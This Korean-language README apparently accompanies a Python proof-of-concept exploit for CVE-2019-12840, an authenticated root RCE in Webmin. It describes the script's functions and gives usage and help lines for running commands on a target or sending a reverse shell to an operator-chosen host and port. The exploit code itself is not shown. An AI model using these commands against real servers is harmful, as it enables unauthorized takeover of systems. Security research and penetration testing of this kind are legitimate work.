
이것은 CVE-2019-12840 취약점에 대한 간단한 자체 개념 증명(PoC)으로, 루트 권한의 RCE를 제공합니다.
이 저장소에는 Webmin의 CVE-2019-12840 취약점을 익스플로잇하는 Python 스크립트가 포함되어 있습니다.
이 스크립트는 Webmin 서버에 로그인을 시도한 후 CVE-2019-12840 취약점을 익스플로잇합니다. 스크립트는 명령줄 인수로 Webmin 서버에 로그인할 사용자 이름과 비밀번호, 서버 URL, 서버 포트, 리버스 셸을 위한 로컬 포트, 그리고 서버에서 실행할 명령어를 입력받습니다.
이 스크립트를 사용하려면 최소한 사용자 이름, 비밀번호 및 Webmin 서버 URL을 제공해야 합니다. 다음은 스크립트 사용 예시입니다:
python exploit.py -U username -P password -u http://localhost:10000 -lhost 10.x.x.x -lport 443
이 저장소의 Python 스크립트는 다음과 같이 구성되어 있습니다:
모듈 가져오기: 스크립트는 실행에 필요한 여러 Python 모듈을 가져오는 것으로 시작합니다. 여기에는 HTTP 요청을 위한 requests, 명령줄 인수 처리를 위한 argparse, base64 인코딩/디코딩을 위한 base64, HTML 파싱을 위한 BeautifulSoup이 포함됩니다.
함수 정의: 스크립트는 여러 함수를 정의합니다:
CVE_2019_12840(url,auth_base64,cmd): 이 함수는 특정 URL에 특정 페이로드로 POST 요청을 보내고 응답을 확인합니다.login(username,password,url): 이 함수는 제공된 사용자 이름과 비밀번호로 Webmin 서버에 로그인을 시도합니다.exploit(sid,url,cmd): 이 함수는 Webmin 서버에서 CVE-2019-12840 취약점을 익스플로잇합니다.b64revshell(lhost,lport): 이 함수는 base64로 인코딩된 리버스 셸을 생성합니다.명령줄 인수 처리: 스크립트는 Webmin 서버에 로그인할 사용자 이름과 비밀번호, 서버 URL, 서버 포트, 리버스 셸을 위한 로컬 포트, 그리고 서버에서 실행할 명령어 등 여러 명령줄 인수를 받습니다.
익스플로잇 실행: 스크립트가 독립 실행형 프로그램으로 실행되면(모듈로 임포트되는 대신) Webmin 서버에 로그인을 시도한 후 익스플로잇을 실행합니다.
스크립트는 여러 명령줄 인수를 받습니다. 다음은 스크립트 사용 예시입니다:
python3 CVE-2019-12840.py -h
이렇게 하면 프로그램 도움말이 표시되며, 다음 내용이 포함됩니다:
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by CyberMonkey
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
usage: CVE-2019-12840.py [-h] -U USERNAME -P PASSWORD -u URL [-p PORT] [-lport LPORT] (-c CMD | -lhost LHOST)
options:
-h, --help show this help message and exit
-U USERNAME username
-P PASSWORD password
-u URL target url
-p PORT target port
-lport LPORT local port for reverse shell
-c CMD command to execute
-lhost LHOST Send back a reverse shell at port 443
이 스크립트는 보안 익스플로잇이며 침투 테스트나 보안 연구와 같은 합법적인 목적으로만 사용해야 합니다. 불법적인 활동에 사용해서는 안 됩니다. 또한 이 스크립트는 CVE-2019-12840에 취약한 Webmin 서버와 함께 사용하도록 설계되었으므로 모든 Webmin 버전에서 작동하지 않을 수 있습니다.